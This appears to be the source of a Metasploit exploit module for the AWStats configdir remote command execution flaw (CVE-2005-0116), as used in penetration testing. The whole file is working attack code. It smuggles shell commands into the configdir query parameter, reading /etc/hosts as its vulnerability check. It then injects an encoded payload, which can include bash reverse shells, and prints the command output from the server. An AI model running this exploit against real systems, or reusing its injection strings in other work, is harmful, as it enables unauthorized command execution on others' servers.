metasploit-framework/modules/exploits/unix/webapp/awstats_configdir_exec.rb

101 lines
2.7 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'AWStats configdir Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
are vulnerable.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-0116'],
['OSVDB', '13002'],
['BID', '12298'],
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby python telnet bash-tcp',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 15 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'vars_get' =>
{
'configdir' => '|echo;cat /etc/hosts;echo|'
}
}, 25)
if (res and res.body.match(/localhost/))
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
command = Rex::Text.uri_encode(payload.encoded)
urlconfigdir = normalize_uri(datastore['URI']) + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"
res = send_request_raw({
'uri' => urlconfigdir,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
m = res.body.match(/YYY\n(.*)\nYYY/m)
if (m)
print_status("Command output from the server:")
print("\n" + m[1] + "\n\n")
else
print_status("This server may not be vulnerable")
end
else
print_status("No response from the server")
end
end
end